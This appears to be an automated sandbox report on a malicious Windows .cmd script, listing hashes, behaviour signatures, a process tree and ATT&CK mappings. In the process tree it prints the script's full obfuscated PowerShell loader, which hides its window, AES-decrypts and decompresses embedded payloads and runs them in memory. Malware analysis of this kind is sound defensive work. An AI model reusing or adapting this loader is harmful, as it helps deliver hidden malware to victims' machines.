c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0

General

Target

c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
Size

82KB
MD5

0c9dd4a4644d5271be6bf540daccb191
SHA1

452415383fd54926ce19f8f78258dc57d87c98ef
SHA256

c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0
SHA512

194d82615358dfc579e508768e2b2e3357069ea626cf90415f58459943a147e0c58d600091bf8840c1e06db9962ca01b3cd2cf9f1ee3d6685bd8d62a6219eab5
SSDEEP

1536:cHkGj8vp9NrhTu1iCrjNk9CRsphfkA0tNJxCK9dLbw3/4cLT4H/INmxklg:cHB8nrhTu1L8CRsp+RtIK4v3nUcM

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1716 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1716 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1716 powershell.exe

pid	process
1716	powershell.exe

pid	process
1716	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1716	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3024 wrote to memory of 1664	3024	cmd.exe	cmd.exe
PID 3024 wrote to memory of 1664	3024	cmd.exe	cmd.exe
PID 3024 wrote to memory of 1664	3024	cmd.exe	cmd.exe
PID 3024 wrote to memory of 1856	3024	cmd.exe	cmd.exe
PID 3024 wrote to memory of 1856	3024	cmd.exe	cmd.exe
PID 3024 wrote to memory of 1856	3024	cmd.exe	cmd.exe
PID 1856 wrote to memory of 1708	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 1708	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 1708	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 2056	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 2056	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 2056	1856	cmd.exe	cmd.exe
PID 1856 wrote to memory of 1716	1856	cmd.exe	powershell.exe
PID 1856 wrote to memory of 1716	1856	cmd.exe	powershell.exe
PID 1856 wrote to memory of 1716	1856	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
2⤵
PID:1664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
2⤵
- Suspicious use of WriteProcessMemory
PID:1856

C:\Windows\system32\cmd.exe
cmd /c \"set __=^&rem\
3⤵
PID:1708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd';$pbWn='CCiQDreCiQDatCiQDeCiQDDeCiQDcCiQDryCiQDptCiQDoCiQDrCiQD'.Replace('CiQD', ''),'ReaxqAidLxqAiinxqAiesxqAi'.Replace('xqAi', ''),'InQyKRvokQyKReQyKR'.Replace('QyKR', ''),'SplnwOxitnwOx'.Replace('nwOx', ''),'TwpaoranwpaosfowpaormFwpaoinawpaolBwpaolwpaoocwpaokwpao'.Replace('wpao', ''),'MHTmMainHTmMModHTmMuleHTmM'.Replace('HTmM', ''),'DjIQtejIQtcomjIQtprjIQtesjIQtsjIQt'.Replace('jIQt', ''),'GXkOEetXkOECuXkOErrXkOEenXkOEtPXkOErocXkOEeXkOEssXkOE'.Replace('XkOE', ''),'CopSQYnyTSQYnoSQYn'.Replace('SQYn', ''),'EnPEgatrPEgayPoPEgainPEgatPEga'.Replace('PEga', ''),'ElmTJxemmTJxenmTJxtAtmTJx'.Replace('mTJx', ''),'FrqclComqclCBqclCaseqclC64qclCStqclCrinqclCgqclC'.Replace('qclC', ''),'ChraKjanraKjgeraKjExraKjtenraKjsraKjioraKjnraKj'.Replace('raKj', ''),'LwzKkoawzKkdwzKk'.Replace('wzKk', '');powershell -w hidden;function YbNek($AfeKW){$JkaZj=[System.Security.Cryptography.Aes]::Create();$JkaZj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JkaZj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JkaZj.Key=[System.Convert]::($pbWn[11])('V0mh2MCToA3bNgC8EKO2KMAaZFb3l+ctJ6Wraknusvw=');$JkaZj.IV=[System.Convert]::($pbWn[11])('prJfwam6dZ/6yyv50tuZSA==');$fCuEB=$JkaZj.($pbWn[0])();$kBOHP=$fCuEB.($pbWn[4])($AfeKW,0,$AfeKW.Length);$fCuEB.Dispose();$JkaZj.Dispose();$kBOHP;}function hgyps($AfeKW){$ALoua=New-Object System.IO.MemoryStream(,$AfeKW);$GsRzp=New-Object System.IO.MemoryStream;$WrauX=New-Object System.IO.Compression.GZipStream($ALoua,[IO.Compression.CompressionMode]::($pbWn[6]));$WrauX.($pbWn[8])($GsRzp);$WrauX.Dispose();$ALoua.Dispose();$GsRzp.Dispose();$GsRzp.ToArray();}$dfSrb=[System.IO.File]::($pbWn[1])([Console]::Title);$CHSWN=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 5).Substring(2))));$UqEWf=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 6).Substring(2))));[System.Reflection.Assembly]::($pbWn[13])([byte[]]$UqEWf).($pbWn[9]).($pbWn[2])($null,$null);[System.Reflection.Assembly]::($pbWn[13])([byte[]]$CHSWN).($pbWn[9]).($pbWn[2])($null,$null); "
3⤵
PID:2056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1716-4-0x000007FEF5FEE000-0x000007FEF5FEF000-memory.dmp

Filesize
4KB

Download
memory/1716-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1716-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/1716-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1716-8-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1716-9-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1716-10-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download
memory/1716-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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